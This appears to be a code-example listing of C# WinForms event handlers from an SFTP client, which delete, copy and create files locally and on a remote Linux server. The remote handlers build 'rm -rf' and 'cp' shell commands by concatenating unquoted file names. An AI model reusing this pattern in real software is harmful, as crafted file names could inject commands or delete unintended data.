with Apache License 2.0
from 214175590

private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            int count = listView2.SelectedItems.Count;
            if (count > 0)
            {
                DialogResult dr = MessageBox.Show(this, "您确定要删除选择的文件或文件夹吗?", "警告", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning);
                if(dr == System.Windows.Forms.DialogResult.OK){
                    string dirs = getCurrDir();
                    foreach (ListViewItem item in listView2.SelectedItems)
                    {
                        SendShell("rm -rf " + dirs + Utils.getLinuxName(item.Text));
                    }

                    ThreadPool.QueueUserWorkItem((a) =>
                    {
                        Thread.Sleep(500);
                        RefreshFiles();
                    });
                }                
            }
        }

19 Source : SftpLinuxForm.cs
with Apache License 2.0
from 214175590

private void pasteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (COPY_QUEUE.Count > 0)
            {
                string[] items = null;
                string path1, path2;
                for (int i = 0, k = COPY_QUEUE.Count; i < k; i++ )
                {
                    items = COPY_QUEUE.Dequeue();
                    path1 = items[0] + items[1];
                    path2 = getCurrDir();
                    SendShell(string.Format("cp {0} {1}", path1, path2));
                }
                pasteToolStripMenuItem.Enabled = false;

                ThreadPool.QueueUserWorkItem((a) =>
                {
                    Thread.Sleep(500);
                    RefreshFiles();
                });
            }
        }

19 Source : SftpWinForm.cs
with Apache License 2.0
from 214175590

private void pasteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (COPY_QUEUE.Count > 0)
            {
                string[] items = null;
                string path1, path2;
                string currDir = getCurrDir();
                for (int i = 0, k = COPY_QUEUE.Count; i < k; i++)
                {
                    items = COPY_QUEUE.Dequeue();
                    path1 = items[0] + items[1];
                    path2 = currDir + items[1];
                    if (Utils.IsDir(path1))
                    {
                        Utils.CopyDir(path1, path2);
                    }
                    else
                    {
                        new FileInfo(path1).CopyTo(path2);
                    }
                }
                pasteToolStripMenuItem.Enabled = false;

                ThreadPool.QueueUserWorkItem((a) =>
                {
                    Thread.Sleep(500);
                    // 刷新
                    LoadDirFilesToListView(dir);
                });
            }
        }

19 Source : SftpWinForm.cs
with Apache License 2.0
from 214175590

private void newFolderToolStripMenuItem_Click(object sender, EventArgs e)
        {
            InputForm form = new InputForm("请输入文件夹名称", "", new InputForm.FormResult((name) =>
            {
                if (!string.IsNullOrWhiteSpace(name))
                {
                    DirectoryInfo dire = new DirectoryInfo(getCurrDir() + name);
                    if(!dire.Exists){
                        dire.Create();
                    }
                    else
                    {
                        MessageBox.Show(this, "目录已存在");
                    }

                    ThreadPool.QueueUserWorkItem((a) =>
                    {
                        Thread.Sleep(500);
                        RefreshFiles();
                    });
                }
                else
                {
                    MessageBox.Show(this, "名称不能为空");
                }
            }));
            form.ShowDialog(this);
        }

19 Source : SftpWinForm.cs
with Apache License 2.0
from 214175590

private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            int count = listView1.SelectedItems.Count;
            if (count == 1)
            {
                ListViewItem item = listView1.SelectedItems[0];
                Object tag = item.Tag;
                string path = getCurrDir() + item.Text;
                if (tag is FileInfo)
                {
                    FileInfo file = new FileInfo(path);
                    if (file.Exists)
                    {
                        file.Delete();
                    }
                }
                else if (tag is DirectoryInfo)
                {
                    DirectoryInfo dire = new DirectoryInfo(path);
                    if (dire.Exists)
                    {
                        dire.Delete(true);
                    }
                }

                ThreadPool.QueueUserWorkItem((a) =>
                {
                    Thread.Sleep(500);
                    RefreshFiles();
                });
            } 
        }

See More Examples